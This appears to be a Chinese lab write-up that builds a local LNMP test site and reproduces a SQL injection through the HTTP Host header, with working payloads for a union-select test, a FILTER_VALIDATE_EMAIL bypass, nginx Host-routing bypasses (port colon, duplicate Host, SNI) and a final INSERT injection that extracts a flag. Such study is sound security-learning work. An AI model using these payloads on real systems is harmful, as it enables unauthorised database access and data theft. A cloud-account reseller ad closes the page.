nginx-host绕过实例复现


本文参考周老师的 《攻击LNMP架构web应用的几个tricks》进行部分复现着重分析关于NGINX的请求头中的host字段绕过部分。为以后的学习提供一个思路。

1.测试环境搭建

LNMP架构的话肯定就是linux、nginx、mysql、php四大组件。在后面的复现中我们还会用到https的一部分知识故这里的nginx就需要使用虚拟主机并且配置https证书且具有php解析功能。

1.1 基础nginx配置

#1.创建web目录
mkdir -p /var/www/aaa/

#2.配置nginx配置文件 
/usr/local/nginx/conf/nginx.conf

#3.文件内容添加server模块
     server {
        listen       80;
        server_name  www.aaa.com;
        root "/var/www/aaa/nginxhost/web";
        index index.html index.php;

        location / {
        try_files $uri $uri/ /index.php;
        }
        location ~ \.php(.*)$ {
            fastcgi_pass   127.0.0.1:9000;
            fastcgi_index  index.php;
            fastcgi_split_path_info  ^((?U).+\.php)(/?.+)$;
            fastcgi_param  SCRIPT_FILENAME  $document_root$fastcgi_script_name;
            fastcgi_param  PATH_INFO  $fastcgi_path_info;
            fastcgi_param  PATH_TRANSLATED  $document_root$fastcgi_path_info;
            include        fastcgi_params;
        }

    }

#4.启动nginx
[root@blackstone aaa]# /usr/local/nginx/sbin/nginx -t
nginx: the configuration file /usr/local/nginx/conf/nginx.conf syntax is ok
nginx: configuration file /usr/local/nginx/conf/nginx.conf test is successful
[root@blackstone aaa]# /usr/local/nginx/sbin/nginx

记得修改本机的host文件C:\Windows\System32\drivers\etc

192.168.2.169 www.aaa.com

1.2 代码部署+数据库配置

#1.将代码部署到指定位置(源码在评论区给出)
mv  /home/batman/nginxhost .
#2.测试页面

在这里插入图片描述

#3.给tmp文件赋权
[root@blackstone web]# chmod 777 /var/www/aaa/nginxhost/protected/tmp

再次测试
在这里插入图片描述

#4. 数据库对接 在对应目录下输入mysql -uroot -p密码 即可
[root@blackstone nginxhost]# cd /var/www/aaa/nginxhost

mysql> create database security;
Query OK, 1 row affected (0.00 sec)
mysql> use security;
Database changed
mysql> source initialize.sql

在开始之前我们浅浅分析一下数据库的大致结构并插入flag

#flags就是我们需要获取的数据两个字段构成
mysql> show columns from flags;
+-------+------------------+------+-----+---------+----------------+
| Field | Type             | Null | Key | Default | Extra          |
+-------+------------------+------+-----+---------+----------------+
| id    | int(10) unsigned | NO   | PRI | NULL    | auto_increment |
| flag  | varchar(256)     | YES  |     | NULL    |                |
+-------+------------------+------+-----+---------+----------------+
2 rows in set (0.00 sec)

#这里是一个用户注册的数据表四个字段id、username、passsword、email
mysql> show columns from users;
+----------+------------------+------+-----+---------+----------------+
| Field    | Type             | Null | Key | Default | Extra          |
+----------+------------------+------+-----+---------+----------------+
| id       | int(10) unsigned | NO   | PRI | NULL    | auto_increment |
| username | varchar(256)     | NO   | UNI | NULL    |                |
| password | varchar(32)      | NO   |     | NULL    |                |
| email    | varchar(256)     | YES  |     | NULL    |                |
+----------+------------------+------+-----+---------+----------------+
4 rows in set (0.00 sec)

#我们插入flag
mysql> insert into flags (flag) values ('mygod,you are a hacker!');
Query OK, 1 row affected (0.01 sec)

mysql> select * from flags;
+----+-------------------------+
| id | flag                    |
+----+-------------------------+
|  2 | mygod,you are a hacker! |
+----+-------------------------+
1 row in set (0.00 sec)

测试登陆页面的功能

运气好的话会有一个报错Fatal error: Class 'MySQLi' not found in /var/www/aaa/nginxhost/protected/lib/core.php on line 280
这是因为当前的php内部没有mysqli这个模块需要扩展安装首先我们需要确定php的安装版本下载对应的源码包进行重新安装
php官网https://www.php.net/releases/ 详情见下方排错。

在这里插入图片描述
在这里插入图片描述
到此环境初步部署完毕。

过程排错

安装源码编译php5.4.16的步骤

#1.下载依赖
yum -y install \
libjpeg \
libjpeg-devel \
libpng libpng-devel \
freetype freetype-devel \
libxml2 \
libxml2-devel \
zlib zlib-devel \
curl curl-devel \
openssl openssl-devel

#2.解压安装包 解压不了需要安装bzip扩展 yum -y install bzip2
tar jxvf php-5.4.16.tar.bz2

#3.进入目录进行预编译 --- 这里会直接编译进去必须的模块如果想通过外置模块进行添加可以自行解决
cd php-5.4.16
 
./configure \
--prefix=/usr/local/php \
--with-mysql-sock=/usr/local/mysql/mysql.sock \
--with-mysqli \
--with-zlib \
--with-curl \
--with-gd \
--with-jpeg-dir \
--with-png-dir \
--with-freetype-dir \
--with-openssl \
--enable-mbstring \
--enable-xml \
--enable-session \
--enable-ftp \
--enable-pdo \
--enable-tokenizer \
--enable-zip

#4.安装
make && make install

#5.测试版本以及模块
[root@blackstone batman]# php -v
PHP 5.4.16 (cli) (built: Apr  1 2020 04:07:17)
Copyright (c) 1997-2013 The PHP Group
Zend Engine v2.4.0, Copyright (c) 1998-2013 Zend Technologies
[root@blackstone batman]# php -m | grep mysqli
mysqli

注意这里如果先前进行了nginx的解析一定要把php-fpm重新启动一下刷新我们的配置

systemctl restart php-fpm

1.3 https配置

随着越来越多的网站接入HTTPS因此Nginx中仅配置HTTP还不够往往还需要监听443端口的请求但在上篇HTTP/HTTPS中谈到过HTTPS为了确保通信安全所以服务端需配置对应的数字证书当项目使用Nginx作为网关时那么证书在Nginx中也需要配置接下来简单聊一下关于SSL证书配置过程

1.先去CA机构或从云控制台中申请对应的SSL证书审核通过后下载Nginx版本的证书。

这里没有申请证书由于是测试环境我们就使用openssl生成一个自签名证书

2.下载数字证书后完整的文件总共有三个 .crt、.key、.pem

  • .crt数字证书文件.crt.pem的拓展文件因此有些人下载后可能没有。
  • .key服务器的私钥文件及非对称加密的私钥用于解密公钥传输的数据。
  • .pemBase64-encoded编码格式的源证书文本文件可自行根需求修改拓展名。

3.在Nginx目录下新建certificate目录并将下载好的证书/私钥等文件上传至该目录。

#这里的配置在1.3.1 中已经自己生成了对应的配置

4.最后修改一下nginx.conf文件即可如下

# ----------HTTPS配置-----------
server {
    # 监听HTTPS默认的443端口
    listen 443;
    # 配置自己项目的域名
    server_name www.xxx.com;
    # 打开SSL加密传输
    ssl on;
    # 输入域名后首页文件所在的目录
    root html;
    # 配置首页的文件名
    index index.html index.htm index.jsp index.ftl;
    # 配置自己下载的数字证书
    ssl_certificate  certificate/xxx.pem;
    # 配置自己下载的服务器私钥
    ssl_certificate_key certificate/xxx.key;
    # 停止通信时加密会话的有效期在该时间段内不需要重新交换密钥
    ssl_session_timeout 5m;
    # TLS握手时服务器采用的密码套件
    ssl_ciphers ECDHE-RSA-AES128-GCM-SHA256:ECDHE:ECDH:AES:HIGH:!NULL:!aNULL:!MD5:!ADH:!RC4;
    # 服务器支持的TLS版本
    ssl_protocols TLSv1 TLSv1.1 TLSv1.2;
    # 开启由服务器决定采用的密码套件
    ssl_prefer_server_ciphers on;

    location / {
        ....
    }
}

# ---------HTTP请求转HTTPS-------------
server {
    # 监听HTTP默认的80端口
    listen 80;
    # 如果80端口出现访问该域名的请求
    server_name www.xxx.com;
    # 将请求改写为HTTPS这里写你配置了HTTPS的域名
    rewrite ^(.*)$ https://www.xxx.com;
}

本例中的配置文件相关位置修改该为

server {
        listen       443 ssl;
        server_name  www.aaa.com;
        root "/var/www/aaa/nginxhost/web";
        index index.html index.php;
        #这里的ssl配置可以直接从nginx官方给出的配置复制过来做一个微调即可
        ssl_certificate      /usr/local/nginx/certificate/ssl.crt;
        ssl_certificate_key  /usr/local/nginx/certificate/ssl.key;

        ssl_session_cache    shared:SSL:1m;
        ssl_session_timeout  5m;

        ssl_ciphers  HIGH:!aNULL:!MD5;
        ssl_prefer_server_ciphers  on;


        location / {
        try_files $uri $uri/ /index.php;
        }
        location ~ \.php(.*)$ {
            fastcgi_pass   127.0.0.1:9000;
            fastcgi_index  index.php;
            fastcgi_split_path_info  ^((?U).+\.php)(/?.+)$;
            fastcgi_param  SCRIPT_FILENAME  $document_root$fastcgi_script_name;
            fastcgi_param  PATH_INFO  $fastcgi_path_info;
            fastcgi_param  PATH_TRANSLATED  $document_root$fastcgi_path_info;
            include        fastcgi_params;
        }

    }                  

测试访问效果

#检测配置语法后重启服务
[root@blackstone certificate]# /usr/local/nginx/sbin/nginx -t
Enter PEM pass phrase:
nginx: the configuration file /usr/local/nginx/conf/nginx.conf syntax is ok
nginx: configuration file /usr/local/nginx/conf/nginx.conf test is successful
[root@blackstone certificate]# /usr/local/nginx/sbin/nginx
Enter PEM pass phrase:

在这里插入图片描述
https配置完毕。

1.3.1 nginx自签名证书

#1.创建证书目录
[root@blackstone nginx]# mkdir certificate
[root@blackstone nginx]# cd certificate/

#2.生成私钥 - 要求你输入这个key文件的密码。给nginx使用。每次reload nginx配置时候都要验证这个PAM密码。
openssl genrsa -des3 -out ssl.key 4096

#3.生成CA证书文件
openssl req -new -key ssl.key -out ssl.csr

#4.利用CA证书签名生成服务器身份证书 - 证书签发有效期365天
openssl x509 -req -days 365 -in ssl.csr -signkey ssl.key -out ssl.crt

#5.检查生成情况 - 此时包含我们自己的私钥自己的证书.crt文件以及csrCA证书
[root@blackstone certificate]# ll
total 12
-rw-r--r-- 1 root root 1891 Jan 11 21:28 ssl.crt
-rw-r--r-- 1 root root 1756 Jan 11 21:25 ssl.csr
-rw-r--r-- 1 root root 3311 Jan 11 21:24 ssl.key

1.3.2 nginx配置ssl模块

#1.判断是否具有ssl模块 --- 输出含有configure arguments: --with-http_ssl_module
/usr/local/nginx/sbin/nginx -V

#2.移动到nginx源码解压目录
./configure --with-http_ssl_module

#3.编译执行
make

#4.备份原有已安装好的nginx
cp /usr/local/nginx/sbin/nginx /usr/local/nginx/sbin/nginx.bak

#5.然后将刚刚编译好的nginx覆盖掉原有的nginx这个时候nginx要停止状态
cp ./objs/nginx /usr/local/nginx/sbin/

#6.测试查看
[root@blackstone nginx-1.20.2]# /usr/local/nginx/sbin/nginx -V
nginx version: nginx/1.20.2
built by gcc 4.8.5 20150623 (Red Hat 4.8.5-44) (GCC)
built with OpenSSL 1.0.2k-fips  26 Jan 2017
TLS SNI support enabled
configure arguments: --with-http_ssl_module

2.sql注入漏洞挖掘

这里由于暂时未系统的了解sql注入故对其进行一个简单的叙述即可重点我们放在host字段绕过上。

2.1 sql注入基本原理

这里用sqllab第一关来进行示例。第一关模拟了我们很常见的一个功能就是查询显示。我们从前端通过get传参将id传递到后端php代码后端的php代码接收到了参数。将参数不加任何过滤的拼接进入sql语句内部由此引发的安全漏洞会导致恶意的数据库语句执行小到窃取敏感数据大到恶意删库跑路。实际环境中会有严密的过滤函数处理数据而今天我们体会一下其原理即可

正常的显示

在这里插入图片描述
我们加入单引号产生了报错则说明此参数被代入sql语句了有安全风险。也可以说此处存在注入点。

在这里插入图片描述
我们看一看后端的代码

#接收参数
$id=$_GET['id'];

#直接拼接进入sql语句进行执行
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

#我们传参后的语句 出现语法错误在执行时必然会引发报错
$sql="SELECT * FROM users WHERE id='1'' LIMIT 0,1";

那如果我们此时在此处进行一些巧妙的构造

#id=-1让其查询不出来正确结果联合查询在字段一致时返回123用于判断回显位置
http://192.168.2.1/sqllabs/Less-1/?id=-1' union select 1,2,3 --+

在这里插入图片描述
利用联合查询就可以看到select的23位置可以回显信息在此处在插入我们的目标语句就可以直接操作数据库了。

综上我们得出一个小结论就是我们想要进行sql注入就需要寻找单引号闭合特征的注入点。

2.2 本例中的注入点

本着找注入点的目的我们查看这套源码的控件看里面有没有可以利用的sql语句。

我们找到controller里面的maincontroller.php可以看到此处有三个功能函数session验证、登陆验证、注册新用户。

我们只能后面两个函数首先是这里的actionlogin函数。

 function actionLogin(){
 		//判断传参方式是否为表单的post方法
        if ($_POST) {
        	//数据交给arg()来处理我们需要去查看arg函数
            $username = arg('username');
            $password = md5(arg('password', ''));
			
            if (empty($username) || empty($password)) {
                $this->error('Username or password is empty.');
            }
			
            $user = new User();
            $data = $user->query("SELECT * FROM `{$user->table_name}` 
                                       WHERE `username` = '{$username}' AND `password` = '{$password}'");
            if (empty($data) or $data[0]['password'] !== $password) {
                $this->error('Username or password is error.');
            }

            $_SESSION['user_id'] = $data[0]['id'];
            $this->jump('/');
        }

    }

#以下为core里面的内容
function escape(&$arg) {
    if(is_array($arg)) {
        foreach ($arg as &$value) {
            escape($value);
        }
    } else {
        $arg = str_replace(["'", '\\', '(', ')'], ["‘", '\\\\', '', ''], $arg);
    }
}

function arg($name, $default = null, $trim = false) {
    if (isset($_REQUEST[$name])) {
        $arg = $_REQUEST[$name];
    } elseif (isset($_SERVER[$name])) {
        $arg = $_SERVER[$name];
    } else {
        $arg = $default;
    }
    if($trim) {
        $arg = trim($arg);
    }
	return $arg;
}

在这里插入图片描述

从上述代码段内部可以看到arg函数利用request接收由于REQUEST被全局过滤函数escape过滤了单引号。所以usernamepassword没法利用。无法使用其作为传入单引号的注入点。

我们再来看下面的注册控制函数

function actionRegister(){
	    if ($_POST) {
	        $username = arg('username');
	        $password = arg('password');

	        if (empty($username) || empty($password)) {
	            $this->error('Username or password is empty.');
            }

            $email = arg('email');
            //利用host字段拼接用户的邮箱
            if (empty($email)) {
                $email = $username . '@' . arg('HTTP_HOST');
            }
			//用户邮箱的合法性验证 --- 利用了FILTER_VALIDATE_EMAIL函数
            if (!filter_var($email, FILTER_VALIDATE_EMAIL)) {
                $this->error('Email error.');
            }

            $user = new User();
            $data = $user->query("SELECT * FROM `{$user->table_name}` WHERE `username` = '{$username}'");
            if ($data) {
                $this->error('This username is exists.');
            }

			
            $ret = $user->create([
                'username' => $username,
                'password' => md5($password),
                'email' => $email
            ]);
            
            if ($ret) {
                $_SESSION['user_id'] = $user->lastInsertId();
            } else {
                $this->error('Unknown error.');
            }
        }

	}
/*
注册控制器中的usernamepassword和上面login一致都被escape函数过滤。
但是在接收email的时候email是username@arg('HTTP_HOST')。
HTTP_HOST是php $_SERVER接收的。
arg函数$_SERVER可以接收HTTP_HOST
并没有全局函数escape过滤这样一来host里面可以传入单引号就有了注入点
 */    

这里其实我也不是很懂但是大概意思是我们的host字段被后端拿去作为插入的信息参与了email信息的组合。

那也就是说我们现在要克服的问题有以下几个

1.刚刚看见的系统过滤函数对于用户邮箱的合法性验证 — 利用了FILTER_VALIDATE_EMAIL函数

2.我们知道host字段决定着nginx的解析方式一旦发生修改会导致无法正常访问网页关于此处如何绕过。这也是本文的重点

下面我们来解决这些问题

2.3 FILTER_VALIDATE_EMAIL绕过

RFC 3696规定邮箱地址分为local part和domain part两部分。local part中包含特殊字符需要如下处理

  1. 将特殊字符用\转义如Joe\'Blow@example.com
  2. 或将local part包裹在双引号中如"Joe'Blow"@example.com
  3. local part长度不超过64个字符

虽然PHP没有完全按照RFC 3696进行检测但支持上述第2种写法。所以我们可以利用之绕过FILTER_VALIDATE_EMAIL的检测。

因为代码中邮箱是用户名、@、Host三者拼接而成但用户名是经过了转义的所以单引号只能放在Host中。我们可以传入用户名为"nameHost为is'"@.aaa.com最后拼接出来的邮箱为"nameis'"@aaa.com。这个邮箱是合法的。

[root@blackstone web]# cat 2.php
<?php
$email = '"nameis\'"@aaa.com';
var_dump(filter_var($email,FILTER_VALIDATE_EMAIL));

在这里插入图片描述

3.HOST绕过

我们看看上面修改该过host之后接收到的数据时什么样的
在这里插入图片描述
返回的页面为404 notfound,这是因为nginx不知道应该交给哪一个模块进行解析于是就交给了默认的模块进行处理而在默认的路径下我们有没有进行这个页面的部署于是出现了404的返回页面。我在此处提供三种绕过方案供大家使用。

3.1 端口号分割host字段

Nginx在处理Host的时候会将Host用冒号分割成hostname和portport部分被丢弃。所以我们可以设置Host为www.aaa.com:'"@aaa.com即可绕过。

查看效果很明显产生了报错我们的注入点应当已经注入成功

在这里插入图片描述
注意这里访问的页面不在是初始的登陆页面了不要再在登陆页面尝试了。访问的页面应当为

#注册页面
http://www.aaa.com/main/register

3.2 双HOST字段绕过 - nginx低版本可用

当我们传入两个Host头的时候Nginx将以第一个为准而PHP-FPM将以第二个为准。

Host: www.aaa.com
Host: '"@aaa.com

测试结果这里由于nginx的版本较高此种方法已经不适用了。

[root@blackstone web]# nginx -v
nginx version: nginx/1.20.1

在这里插入图片描述
有兴趣的同学可以去低版本的nginx上进行测试。

3.3 SNI

3.3.1 SNI的概念

SNI (Server Name Indication)是用来改善服务器与客户端 SSL (Secure Socket Layer)和 TLS (Transport Layer Security) 的一个扩展。

早期的SSLv2根据经典的公钥基础设施PKI(Public Key Infrastructure)设计默认一台服务器或者说一个IP只会提供一个服务所以在SSL握手时服务器端可以确信客户端申请的是哪张证书。

但是让人万万没有想到的是虚拟主机大力发展起来了这就造成了一个IP会对应多个域名的情况。解决办法有一些例如申请泛域名证书对所有*.yourdomain.com的域名都可以认证但如果你还有一个yourdomain.net的域名那就不行了。

在HTTP协议中请求的域名作为主机头Host放在HTTP Header中所以服务器端知道应该把请求引向哪个域名但是早期的SSL做不到这一点因为在SSL握手的过程中根本不会有Host的信息所以服务器端通常返回的是配置中的第一个可用证书。因而一些较老的环境可能会产生多域名分别配好了证书但返回的始终是同一个。

既然问题的原因是在SSL握手时缺少主机头信息那么补上就是了。

SNIServer Name Indication定义在RFC 4366是一项用于改善SSL/TLS的技术在SSLv3/TLSv1中被启用。它允许客户端在发起SSL握手请求时具体说来是客户端发出SSL请求中的ClientHello阶段就提交请求的Host信息使得服务器能够切换到正确的域并返回相应的证书。

要使用SNI需要客户端和服务器端同时满足条件幸好对于现代浏览器来说大部分都支持SSLv3/TLSv1所以都可以享受SNI带来的便利。

也就是说现在的环境中只需要服务端进行相应的配置即可使用这项技术。而配置了虚拟主机并且均配置有https证书的情况下服务器这项功能通常是打开的。

应用实例公司域名更变同时又要新旧域名同时运行。 那么对于https的域名在同一个IP上如何同时存在多个虚拟主机呢

3.3.2 测试SNI特性

1.检测SNI的活动性 - 新版的nginx都会默认开启这个模块

[root@blackstone certificate]# /usr/local/nginx/sbin/nginx -V
nginx version: nginx/1.20.2
built by gcc 4.8.5 20150623 (Red Hat 4.8.5-44) (GCC)
built with OpenSSL 1.0.2k-fips  26 Jan 2017
TLS SNI support enabled   #这里表示已经开启了SNI
configure arguments: --with-http_ssl_module

2.直接使用burp进行抓包我们可以直接获取到这里的报错信息显然SNI机制在这里起到了作用原因就是我们在刚开始通信时就已经在协商阶段发送给服务器我们的HOST字段后续的通信nginx不再依赖此字段。但是php处理时依然再使用新的host字段。于是就导致了这里的注入回显。

在这里插入图片描述

4. insert注入获取flag

最终host字段

Host: www.aaa.com:'),('a',md5(123),(select(flag)from(flags)))#"@aaa.com

内部执行的sql语句,相当于插入了两组数据而第二组数据的email字段被拿来存放查询flag的结果。

insert into users (username,password,email) values ("batman,md5(123456),"batman@www.aaa.com),('a',md5(123),(select(flag)from(flags)))

查看效果

在这里插入图片描述

在登陆我们插入的新用户即可查看到flag

在这里插入图片描述
到这里整个复现过程就告一段落了。

5.总结

在本文中我们经历了一次相对完整的漏洞发现之旅。从了解到sql注入的基本原理开始我们的目的变得十分明确。我们要寻找可以使用单引号引发报错的注入点。而这个注入点出现的位置也不是局限再get请求或者post请求内部。而是可以出现在host字段内的。

为了实现这一注入点的利用我们先是利用rfc3696绕过了FILTER_VALIDATE_EMAIL函数对于输入邮箱格式的限制。随后为了解决nginx无法解析错误的host字段我们又连续掏出了三大法宝。利用冒号分隔利用双重host利用SNI机制。无论是那种方案其实根本的原理就是要利用nginx和fpm转发下的php处理HOST的差异。来实现HOST字段的逃逸绕过。

最最后在报错注入点的前提下我们终于使用了insert的一点点知识拿到了最开始写入的flag。整个过程做下来还是有很大的提升的。无论是配置环境还是代码审计的思路都是一个十分深刻且具有挑战性的实例复现。

阿里云国内75折 回扣 微信号:monov8
阿里云国际,腾讯云国际,低至75折。AWS 93折 免费开户实名账号 代冲值 优惠多多 微信号:monov8 飞机:@monov6
标签: nginx

“nginx-host绕过实例复现” 的相关文章